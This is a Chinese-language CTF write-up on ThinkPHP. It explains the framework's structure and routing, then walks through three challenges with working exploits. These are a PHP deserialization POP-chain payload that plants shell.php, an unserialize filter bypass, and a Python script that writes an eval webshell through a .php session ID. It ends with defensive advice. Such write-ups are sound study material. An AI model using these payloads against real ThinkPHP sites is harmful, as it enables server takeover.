从0到1对基于thinkphp的相关CTF题目分析
字数 1524 2025-08-20 18:17:53
ThinkPHP框架安全分析与CTF题目解析
一、ThinkPHP基础介绍
ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,遵循Apache2开源协议发布。它从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式。
MVC模式
- Model(模型): 负责数据逻辑
- View(视图): 负责展示
- Controller(控制器): 负责业务逻辑
TP5.0目录结构
application 应用目录(可设置)
├─common 公共模块目录(可更改)
├─index 前台目录
│ ├─config.php 模块配置文件
│ ├─common.php 模块函数文件
│ ├─controller 控制器目录
│ ├─model 模型目录
│ └─view 视图目录
extend 扩展类库目录(可定义)
public WEB部署目录(对外访问目录)
├─static 静态资源存放目录(css,js,image)
├─index.php 应用入口文件
runtime 应用的运行时目录(可写,可设置) //缓存目录
vendor 第三方类库目录(Composer)
thinkphp 框架系统目录
├─lang 语言包目录
├─library 框架核心类库目录
│ ├─think Think类库包目录
│ └─traits 系统Traits目录
└─tpl 系统模板目录
命名空间与自动加载
ThinkPHP 5.0中,只需要给类库正确定义所在的命名空间,并且命名空间的路径与类库文件的目录一致,就可以实现类的自动加载。
系统内置的根命名空间(类库包):
think: 系统核心类库 (thinkphp/library/think)traits: 系统Trait类库 (thinkphp/library/traits)app: 应用类库 (application)
URL访问模式
在没有启用路由的情况下,URL访问格式:
http://127.0.0.1/thinkphp/public/index.php/模块/控制器/方法
二、路径与路由配置
1. 隐藏入口文件
通过.htaccess文件配置重写规则:
<IfModule mod_rewrite.c>
Options +FollowSymlinks -Multiviews
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*)$ index.php/$1 [QSA,PT,L]
</IfModule>
2. 隐藏模块
在public/index.php中加入:
define("BIND_MODULE", "index");
这样可以直接访问/控制器/方法而忽略模块名。
3. 路由模式
- 普通模式: 关闭路由,完全使用PATH_INFO
- 混合模式: 开启路由,并使用路由定义+默认PATH_INFO的方式
- 强制模式: 开启路由,并设置只能使用路由访问
配置位于application/config.php:
// 是否开启路由
'url_route_on' => true,
// 是否强制使用路由
'url_route_must' => false,
路由注册示例
在application/route.php中:
use think\Route;
Route::rule('gtfly', 'index/index/test');
路由规则格式:
Route::rule('路由表达式','路由地址','请求类型','路由参数(数组)','变量规则(数组)');
简化方法:
Route::get(); // 定义GET请求路由规则
Route::post(); // 定义POST请求路由规则
Route::put(); // 定义PUT请求路由规则
Route::delete(); // 定义DELETE请求路由规则
Route::any(); // 所有请求都支持的路由规则
三、CTF题目分析
1. 强网杯2019 Upload
漏洞分析
-
上传功能存在文件操作漏洞:
- 上传文件后会将文件以
md5(文件名)改名 - 后缀拼接
.png - 使用
getimagesize()检测文件类型 - 通过
filename_tmp和filename进行文件复制
- 上传文件后会将文件以
-
存在反序列化漏洞:
Index.php中存在未过滤的反序列化操作- 可利用
Register和Profile类的魔术方法构造POP链
利用链构造
__destruct() -> __call() -> __get() -> 任意函数调用
利用步骤
- 上传图片马
- 构造反序列化payload:
<?php
namespace app\web\controller;
class Profile {
public $checker = 0;
public $filename_tmp = '/var/www/html/public/upload/.../1.png';
public $filename = '/var/www/html/public/upload/.../shell.php';
public $upload_menu;
public $ext = 1;
public $img;
public $except = ['index' => 'upload_img'];
}
namespace app\web\controller;
class Register {
public $checker;
public $registed = 0;
}
$a = new Register();
$b = new Profile();
$a->checker = $b;
echo base64_encode(serialize($a));
- 将生成的payload作为cookie提交
- 访问生成的shell.php
2. 安洵杯2019 iamthinking
漏洞分析
- 存在反序列化入口:
$paylaod = @$_GET['payload']; unserialize($paylaod); - 存在过滤:
可通过if (preg_match("/^O/i", $value)) { die('STOP HACKING'); }parse_url绕过:// 在host后面添加两个斜线可使parse_url失效
利用链1
__destruct() -> save() -> updateData() -> checkAllowFields() -> __toString() -> toJson() -> toArray() -> getAttr() -> getValue()
关键点:
- 利用
Model类的__destruct方法 - 通过
getValue中的$closure执行系统命令
利用链2
参考ThinkPHP6.0的反序列化漏洞,与"2020新春红包题"类似。
3. GYCTF2020 EasyThinking
漏洞分析
- ThinkPHP6.0存在session写文件漏洞
- session后缀可控,可写入
.php文件 - 关键代码:
if (!session('?UID')){ return redirect('/home/member/login'); } $data = input("post."); $record = session("Record"); if (!session("Record")){ session("Record",$data["key"]); }
利用步骤
- 正常注册账号
- 登录时设置
.php结尾的session ID - 向
home/member/searchPOST一句话 - 访问
/runtime/session/下的PHP文件
利用代码
import requests
url_reg = 'http://xxx/home/member/register'
url_log = 'http://xxx/home/member/login'
url_sea = 'http://xxx/home/member/search'
headers = {'Cookie': 'PHPSESSID=1234567890123456789012345678.php'}
data1 = {'username': 'gtfly', 'password': '123456'}
data2 = {'key': '<?php @eval($_POST["t"]);echo "not flag"; ?>'}
s1 = requests.post(url_reg, data1)
s2 = requests.post(url_log, data1, headers=headers)
s3 = requests.post(url_sea, data2, headers=headers)
test = 'http://xxx/runtime/session/sess_1234567890123456789012345678.php'
s = requests.get(test).text
if 'not flag' in s:
print('success')
else:
print('failed')
四、防御建议
- 对用户输入进行严格过滤
- 避免直接反序列化用户输入
- 及时更新框架版本
- 限制文件上传类型和后缀
- 配置安全的session处理机制
- 禁用危险函数
五、参考链接
- https://xz.aliyun.com/t/6924#toc-9
- https://xz.aliyun.com/t/7131